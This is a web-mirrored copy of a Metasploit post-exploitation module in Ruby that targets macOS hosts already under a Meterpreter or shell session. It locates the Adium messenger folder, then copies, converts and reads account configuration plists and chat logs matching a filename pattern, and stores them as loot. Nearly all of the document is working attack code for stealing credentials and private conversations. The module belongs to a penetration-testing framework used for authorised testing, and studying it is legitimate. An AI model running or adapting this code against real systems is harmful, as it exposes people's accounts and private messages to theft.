CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_adium.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'OS X Gather Adium Enumeration',
15
'Description' => %q{
16
This module will collect Adium's account plist files and chat logs from the
17
victim's machine. There are three different actions you may choose: ACCOUNTS,
18
CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex
19
'PATTERN' option in order to look for certain log names (which consists of a
20
contact's name, and a timestamp). The current 'PATTERN' option is configured to
21
look for any log created on February 2012 as an example. To loot both account
22
plists and chat logs, simply set the action to 'ALL'.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [ 'sinn3r'],
26
'Platform' => [ 'osx' ],
27
'SessionTypes' => [ 'meterpreter', 'shell' ],
28
'Actions' => [
29
['ACCOUNTS', { 'Description' => 'Collect account-related plists' } ],
30
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
31
['ALL', { 'Description' => 'Collect both account plists and chat logs' }]
32
],
33
'DefaultAction' => 'ALL'
34
)
35
)
36
37
register_options(
38
[
39
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '\(2012\-02\-.+\)\.xml$']),
40
]
41
)
42
end
43
44
#
45
# Parse a plst file to XML format:
46
# http://hints.macworld.com/article.php?story=20050430105126392
47
#
48
def plutil(filename)
49
exec("plutil -convert xml1 #{filename}")
50
data = exec("cat #{filename}")
51
return data
52
end
53
54
#
55
# Collect logs files.
56
# Enumerate all the xml files (logs), filter out the ones we want, and then
57
# save each in a hash.
58
#
59
def get_chatlogs(base)
60
base = "#{base}Logs/"
61
62
#
63
# Find all the chat folders for all the victim's contacts and groups
64
#
65
print_status("#{@peer} - Gathering folders for chatlogs...")
66
targets = []
67
dir(base).each do |account|
68
dir("#{base}#{account}/").each do |contact|
69
# Use 'find' to enumerate all the xml files
70
base_path = "#{base}#{account}/#{contact}"
71
logs = exec("find #{base_path} -name *.xml").split("\n")
72
next if logs =~ /No such file or directory/
73
74
# Filter out logs
75
filtered_logs = []
76
logs.each do |log|
77
next unless log =~ datastore['PATTERN']
78
79
# For debugging purposes, we print all the matches
80
vprint_status("Match: #{log}")
81
filtered_logs << log
82
end
83
84
targets << {
85
account: account,
86
contact: contact,
87
log_paths: filtered_logs
88
}
89
end
90
end
91
92
#
93
# Save all the logs to a folder
94
#
95
logs = []
96
targets.each do |target|
97
log_size = target[:log_paths].length
98
contact = target[:contact]
99
account = target[:account]
100
101
# Nothing was actually downloaded, skip this one
102
next if log_size == 0
103
104
print_status("#{@peer} - Looting #{log_size} chats with #{contact} (#{account})")
105
target[:log_paths].each do |log|
106
log = "\"#{log}\""
107
data = exec("cat #{log}")
108
logs << {
109
account: account,
110
contact: contact,
111
data: data
112
}
113
# break
114
end
115
end
116
117
return logs
118
end
119
120
#
121
# Get AccountPrefs.plist, Accounts.plist, AccountPrefs.plist.
122
# Return: [ {:filename=> String, :data => String} ]
123
#
124
def get_account_info(base)
125
files = [ 'Account\\ Status.plist', 'Accounts.plist', 'AccountPrefs.plist' ]
126
loot = []
127
128
files.each do |file|
129
#
130
# Make a copy of the file we want to convert and steal
131
#
132
fpath = "#{base}#{file}"
133
rand_name = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
134
tmp = exec("cp #{fpath} #{rand_name}")
135
136
if tmp =~ /No such file or directory/
137
print_error("#{@peer} - Not found: #{fpath}")
138
next
139
end
140
141
#
142
# Convert plist to xml
143
#
144
print_status("#{@peer} - Parsing: #{file}")
145
xml = plutil(rand_name)
146
147
#
148
# Save data, and then clean up
149
#
150
if xml.empty?
151
print_error("#{@peer} - Unalbe to parse: #{file}")
152
else
153
loot << { filename: file, data: xml }
154
exec("rm #{rand_name}")
155
end
156
end
157
158
return loot
159
end
160
161
#
162
# Do a store_root on all the data collected.
163
#
164
def save(type, data)
165
case type
166
when :account
167
data.each do |e|
168
e[:filename] = e[:filename].gsub(/\\ /, '_')
169
p = store_loot(
170
'adium.account.config',
171
'text/plain',
172
session,
173
e[:data],
174
e[:filename]
175
)
176
177
print_good("#{@peer} - #{e[:filename]} stored as: #{p}")
178
end
179
180
when :chatlogs
181
data.each do |e|
182
account = e[:account]
183
contact = e[:contact]
184
data = e[:data]
185
186
p = store_loot(
187
'adium.chatlog',
188
'text/plain',
189
session,
190
data,
191
contact
192
)
193
194
print_good("#{@peer} - #{contact}'s (#{account}) chat log stored as: #{p}")
195
end
196
197
end
198
end
199
200
#
201
# Get current username
202
#
203
def whoami
204
exec('/usr/bin/whoami')
205
end
206
207
#
208
# Return an array or directory names
209
#
210
def dir(path)
211
subdirs = exec("ls -l #{path}")
212
return [] if subdirs =~ /No such file or directory/
213
214
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten
215
return items
216
end
217
218
#
219
# This is just a wrapper for cmd_exec(), except it chomp() the output,
220
# and retry under certain conditions.
221
#
222
def exec(cmd)
223
out = cmd_exec(cmd).chomp
224
rescue ::Timeout::Error => e
225
vprint_error("#{@peer} - #{e.message} - retrying...")
226
retry
227
rescue EOFError => e
228
vprint_error("#{@peer} - #{e.message} - retrying...")
229
retry
230
end
231
232
#
233
# We're not sure the exact name of the folder becuase it contains a version number.
234
# We'll just check every folder name, and whichever contains the word "Adium",
235
# that's the one we'll use.
236
#
237
def locate_adium(base)
238
dir(base).each do |folder|
239
m = folder.match(/(Adium \d+\.\d+)$/)
240
if m
241
m = m[0].gsub(/\x20/, '\\\\ ') + '/'
242
return "#{base}#{m}"
243
end
244
end
245
246
return nil
247
end
248
249
def run
250
#
251
# Make sure there's an action name before we do anything
252
#
253
if action.nil?
254
print_error('Please specify an action')
255
return
256
end
257
258
@peer = "#{session.session_host}:#{session.session_port}"
259
user = whoami
260
261
#
262
# Check adium. And then set the default profile path
263
#
264
base = "/Users/#{user}/Library/Application\\ Support/"
265
adium_path = locate_adium(base)
266
if adium_path
267
print_status("#{@peer} - Found adium: #{adium_path}")
268
adium_path += 'Users/Default/'
269
else
270
print_error("#{@peer} - Unable to find adium, will not continue")
271
return
272
end
273
274
#
275
# Now that adium is found, let's download some stuff
276
#
277
account_data = get_account_info(adium_path) if action.name =~ /ALL|ACCOUNTS/i
278
chatlogs = get_chatlogs(adium_path) if action.name =~ /ALL|CHATS/i
279
280
#
281
# Store what we found on disk
282
#
283
save(:account, account_data) if !account_data.nil? && !account_data.empty?
284
save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?
285
end
286
end
287
288
=begin
289
Adium:
290
/Users/[username]/Library/Application\ Support/Adium\ 2.0/
291
=end
292
293